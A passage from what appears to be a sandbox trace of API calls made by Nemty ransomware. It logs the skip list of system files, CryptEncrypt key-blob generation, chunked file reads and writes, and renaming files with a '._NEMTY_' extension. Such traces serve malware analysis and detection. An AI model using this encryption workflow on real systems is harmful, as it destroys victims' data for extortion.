lpString2="AUTOEXEC.BAT") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="ntuser.dat") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="desktop.ini") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="CONFIG.SYS") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="RECYCLER") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="BOOTSECT.BAK") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="bootmgr") returned 1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="programdata") returned -1 [0067.267] lstrcmpiW (lpString1="btn-back-static.png", lpString2="appdata") returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0067.268] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-back-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-back-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0067.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0067.268] Sleep (dwMilliseconds=0x5) [0067.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbbfcf10, dwHighDateTime=0x1d561e7)) [0067.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdbbfcf10, dwHighDateTime=0x1d561e7)) [0067.283] GetLastError () returned 0x5 [0067.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0067.283] GetLastError () returned 0x5 [0067.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0067.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0067.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0067.283] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0067.284] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0067.284] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Xqee+YFXJbApgKF8qVT/yMg/NSyIEOg0H9Pq/MRcCBgOuz7e2ZM4Tpto66Jx+Byi\r\nyZs2FtdIMDvRVzwQXhA+aOnJVJv8PI786rZhx0wL0BptCRc7HFVNhmWTi9DybEaK\r\n67ew2ZUeEHERlKciXg760vF2310gaLuaXIQAiSFsXJLHOSEc5ma9JM7lzjURUnoy\r\nowAEI6d5Bmh/PZw7Mm7QWBOxownOViY1laOAo6sRrSsWvcQi2J6LDuICeJeeMaJo\r\ndiU9JMbvbI+BBe+5r/GpMeD6KNhu9/Galu05b5ikzRxY6DZ2KJxuQZP1Le2I8zmw\r\n/3ftHS/UVoiQaoUsJyoY0A==\r\n", pcchString=0x653e91c) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0067.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.284] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0067.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0067.284] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0067.284] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.286] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0067.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0067.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.387] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.387] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.387] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.393] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.393] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0067.393] CloseHandle (hObject=0xffffffff) returned 0 [0067.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0067.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0067.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0067.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0067.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0067.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0067.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0067.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0067.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0067.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0067.393] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-back-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-back-static.png._nemty_kgobjgd_")) returned 0 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0067.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.394] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="...") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="windows") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="$RECYCLE.BIN") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="rsa") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="NTDETECT.COM") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntldr") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="MSDOS.SYS") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="IO.SYS") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="boot.ini") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="ntuser.dat") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="desktop.ini") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="CONFIG.SYS") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="RECYCLER") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="BOOTSECT.BAK") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="bootmgr") returned 1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="programdata") returned -1 [0067.394] lstrcmpiW (lpString1="btn-next-static.png", lpString2="appdata") returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0067.395] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0067.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn-next-static.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn-next-static.png", lpUsedDefaultChar=0x0) returned 19 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0067.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0067.395] HeapFree (in: 